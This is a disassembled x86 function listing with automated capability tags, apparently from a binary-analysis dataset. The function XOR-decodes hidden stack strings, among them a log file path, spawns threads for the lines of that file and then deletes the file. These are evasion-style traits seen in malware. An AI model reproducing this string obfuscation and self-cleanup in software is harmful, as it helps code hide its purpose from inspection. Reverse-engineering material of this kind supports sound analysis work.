Function at 0x10006880
Capabilities:
Contain obfuscated stackstrings
Create thread
Delete file
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100412fe
mov eax, dword fs:[0]
push eax
sub esp, 0x204
mov eax, dword [0x1005400c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
call fcn.10011a50
mov ecx, eax
test ecx, ecx
je 0x100070be
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 1
call fcn.10011a50
mov ecx, eax
test ecx, ecx
je 0x100070c8
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0x174], eax
add eax, 0x10
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 2
call fcn.10011a50
mov ecx, eax
test ecx, ecx
je 0x100070d2
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x14], esi
lea eax, [ebp - 0x208]
mov byte [ebp - 4], 3
push eax
call fcn.10007100
mov edi, eax
xor ecx, ecx
mov edx, dword [edi]
lea eax, [edi + 4]
mov dword [ebp - 0xf0], eax
test edx, edx
je 0x10006957
mov esi, eax
nop dword [eax + eax]
lea eax, [ecx + 0x2e]
xor word [esi + ecx*2], ax
inc ecx
mov edx, dword [edi]
cmp ecx, edx
jb 0x10006940
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0xf0]
xor ecx, ecx
mov word [eax + edx*2], cx
mov eax, dword [ebp + 8]
push eax
push eax
push dword [ebp - 0xf0]
lea eax, [ebp - 0x18]
push eax
call fcn.1000dfc0
mov eax, 0xe
mov dword [ebp - 0x16c], 0x400042
add esp, 0x10
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x168], 0x420057
xor ecx, ecx
mov dword [ebp - 0x164], 0x54006e
mov dword [ebp - 0x160], 0x580055
mov dword [ebp - 0x15c], 0x440053
mov dword [ebp - 0x158], 0x4d0016
mov dword [ebp - 0x154], 0x4f0042
mov dword [ebp - 0x150], 0x3c
lea eax, [ecx + 0x2e]
xor word [ebp + ecx*2 - 0x16c], ax
inc ecx
mov eax, dword [ebp - 0x170]
cmp ecx, eax
jb 0x100069d1
xor ecx, ecx
push ecx
mov edi, esp
mov word [ebp + eax*2 - 0x16c], cx
mov dword [ebp - 0x14c], esp
mov dword [ebp - 0xf0], edi
call fcn.10011a50
mov ecx, eax
test ecx, ecx
je 0x100070dc
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
lea eax, [ebp - 0x16c]
mov byte [ebp - 4], 4
test eax, 0xffff0000
jne 0x10006a39
movzx eax, ax
mov ecx, edi
push eax
call fcn.1000da30
jmp 0x10006a60
lea ecx, [ebp - 0x16c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10006a42
sub ecx, edx
lea eax, [ebp - 0x16c]
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.1000dcb0
push ecx
mov byte [ebp - 4], 5
mov dword [ebp - 0xf0], esp
mov edi, dword [ebp - 0x18]
lea ecx, [edi - 0x10]
call fcn.1000dbd0
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
mov byte [ebp - 4], 3
call fcn.10012390
add esp, 8
test al, al
je 0x10006f9f
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
push 0xb8
lea eax, [ebp - 0xec]
mov byte [ebp - 4], 6
push 0
push eax
call fcn.100191f0
mov eax, 0xe
mov dword [ebp - 0x144], 0x400042
add esp, 0xc
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x140], 0x420057
xor ecx, ecx
mov dword [ebp - 0x13c], 0x54006e
mov dword [ebp - 0x138], 0x580055
mov dword [ebp - 0x134], 0x440053
mov dword [ebp - 0x130], 0x4d0016
mov dword [ebp - 0x12c], 0x4f0042
mov dword [ebp - 0x128], 0x3c
lea eax, [ecx + 0x2e]
xor word [ebp + ecx*2 - 0x144], ax
inc ecx
mov eax, dword [ebp - 0x148]
cmp ecx, eax
jb 0x10006b21
xor ecx, ecx
sub esp, 0xc
mov word [ebp + eax*2 - 0x144], cx
lea eax, [ebp - 0x144]
lea ecx, [ebp - 0xec]
push eax
call fcn.1000ae00
lea edx, [ebp - 0x30]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xec]
call fcn.1000e340
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x10006ebf
nop dword [eax + eax]
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
mov dword [ebp - 0xf0], eax
jb 0x10006b9c
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xf0], eax
test eax, eax
je 0x10006bf9
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edi, [eax - 1]
test edi, edi
jle 0x10006bf9
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, edi
or eax, ecx
jge 0x10006bd1
push edi
lea ecx, [ebp - 0x14]
call fcn.1000de60
mov esi, dword [ebp - 0x14]
push edi
push esi
push 0xffffffffffffffff
push dword [ebp - 0xf0]
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp edi, dword [esi - 8]
jg 0x100070eb
xor eax, eax
mov dword [esi - 0xc], edi
mov word [esi + edi*2], ax
jmp 0x10006c04
lea ecx, [ebp - 0x14]
call fcn.1000c9c0
mov esi, dword [ebp - 0x14]
mov ecx, 0x16
mov dword [ebp - 0x120], 0x4a004a
mov dword [ebp - 0x124], ecx
xor eax, eax
mov dword [ebp - 0x11c], 0x5e0040
mov dword [ebp - 0x118], 0x500046
mov dword [ebp - 0x114], 0x560055
mov dword [ebp - 0x110], 0x52005e
mov dword [ebp - 0x10c], 0x1c0064
mov dword [ebp - 0x108], 0x150049
mov dword [ebp - 0x104], 0x5c0051
mov dword [ebp - 0x100], 0x560050
mov dword [ebp - 0xfc], 0x240026
mov dword [ebp - 0xf8], 0x370031
mov dword [ebp - 0xf4], 0x44
nop dword [eax]
lea ecx, [eax + 0x2e]
xor word [ebp + eax*2 - 0x120], cx
inc eax
mov ecx, dword [ebp - 0x124]
cmp eax, ecx
jb 0x10006c90
xor eax, eax
mov word [ebp + ecx*2 - 0x120], ax
lea eax, [ebp - 0x120]
push esi
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.1000dfc0
mov edi, dword [ebp - 0x18]
push 0
push edi
call fcn.10027378
add esp, 0x14
test eax, eax
je 0x10006ea1
mov eax, 0xc
mov dword [ebp - 0x10c], 0x40006a
mov dword [ebp - 0x110], eax
xor ecx, ecx
mov dword [ebp - 0x108], 0x5f0047
mov dword [ebp - 0x104], 0x5c007e
mov dword [ebp - 0x100], 0x510055
mov dword [ebp - 0xfc], 0x9001b
mov dword [ebp - 0xf8], 0x4a001d
mov dword [ebp - 0xf4], 0x3a
nop word [eax + eax]
lea eax, [ecx + 0x2e]
xor word [ebp + ecx*2 - 0x10c], ax
inc ecx
mov eax, dword [ebp - 0x110]
cmp ecx, eax
jb 0x10006d30
xor ecx, ecx
mov word [ebp + eax*2 - 0x10c], cx
lea eax, [ebp - 0x10c]
push edi
push eax
call fcn.10011ee0
add esp, 8
lea eax, [ebp - 0x210]
push eax
call fcn.10007230
mov dword [ebp - 0x14c], eax
mov edx, dword [eax]
lea ecx, [eax + 4]
mov dword [ebp - 0xf0], ecx
xor ecx, ecx
test edx, edx
je 0x10006da4
mov esi, dword [ebp - 0xf0]
mov edi, eax
nop dword [eax + eax]
lea eax, [ecx + 0x2e]
xor word [esi + ecx*2], ax
inc ecx
mov edx, dword [edi]
cmp ecx, edx
jb 0x10006d90
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0xf0]
xor ecx, ecx
push esi
mov word [eax + edx*2], cx
push dword [ebp + 8]
push eax
push 0x10056184
call fcn.1000dfc0
mov eax, 0x16
mov dword [ebp - 0x120], 0x4a004a
add esp, 0x10
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x11c], 0x5e0040
xor ecx, ecx
mov dword [ebp - 0x118], 0x500046
mov dword [ebp - 0x114], 0x560055
mov dword [ebp - 0x110], 0x52005e
mov dword [ebp - 0x10c], 0x1c0064
mov dword [ebp - 0x108], 0x150049
mov dword [ebp - 0x104], 0x5c0051
mov dword [ebp - 0x100], 0x560050
mov dword [ebp - 0xfc], 0x240026
mov dword [ebp - 0xf8], 0x370031
mov dword [ebp - 0xf4], 0x44
nop word [eax + eax]
lea eax, [ecx + 0x2e]
xor word [ebp + ecx*2 - 0x120], ax
inc ecx
mov eax, dword [ebp - 0x124]
cmp ecx, eax
jb 0x10006e50
xor ecx, ecx
mov word [ebp + eax*2 - 0x120], cx
lea eax, [ebp - 0x120]
push esi
push eax
push 0x10056188
call fcn.1000dfc0
push 0
push 0
push 0
push 0x100067e0
push 0
push 0
call fcn.10027e5b
add esp, 0x24
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0xec]
call fcn.1000e340
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x10006b80
lea ecx, [ebp - 0xdc]
call fcn.1000c4f0
test eax, eax
jne 0x10006ef7
mov eax, dword [ebp - 0xec]
lea ecx, [ebp - 0xec]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.100113d0
mov eax, dword [ebp - 0xec]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xec], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xf0], eax
lea ecx, [ebp - 0xdc]
call fcn.1000aa90
mov eax, dword [ebp - 0xec]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xec], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0xf0], eax
lea eax, [ebp - 0x7c]
mov byte [ebp - 4], 8
push eax
mov dword [ebp - 0x7c], vtable.std::ios_base.0
call fcn.10017794
mov byte [ebp - 4], 3
add esp, 4
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x10
jb 0x10006f9f
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10006f95
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100070e6
push ecx
push edx
call fcn.100159fe
add esp, 8
mov eax, 0xe
mov dword [ebp - 0x144], 0x400042
mov dword [ebp - 0x148], eax
xor ecx, ecx
mov dword [ebp - 0x140], 0x420057
mov dword [ebp - 0x13c], 0x54006e
mov dword [ebp - 0x138], 0x580055
mov dword [ebp - 0x134], 0x440053
mov dword [ebp - 0x130], 0x4d0016
mov dword [ebp - 0x12c], 0x4f0042
mov dword [ebp - 0x128], 0x3c
nop dword [eax]
lea eax, [ecx + 0x2e]
xor word [ebp + ecx*2 - 0x144], ax
inc ecx
mov eax, dword [ebp - 0x148]
cmp ecx, eax
jb 0x10007000
xor ecx, ecx
mov word [ebp + eax*2 - 0x144], cx
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esi - 0x10]
mov byte [ebp - 4], 2
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x1000704b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x174]
mov eax, esi
mov byte [ebp - 4], 1
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x10007069
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
add edi, 0xfffffff0
mov eax, esi
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x10007084
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x100070a3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100154d9
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.10011820
push 0x80004005
call fcn.10011820
push 0x80004005
call fcn.10011820
push 0x80004005
call fcn.10011820
call fcn.10027683
push 0x80070057
call fcn.10011820
int3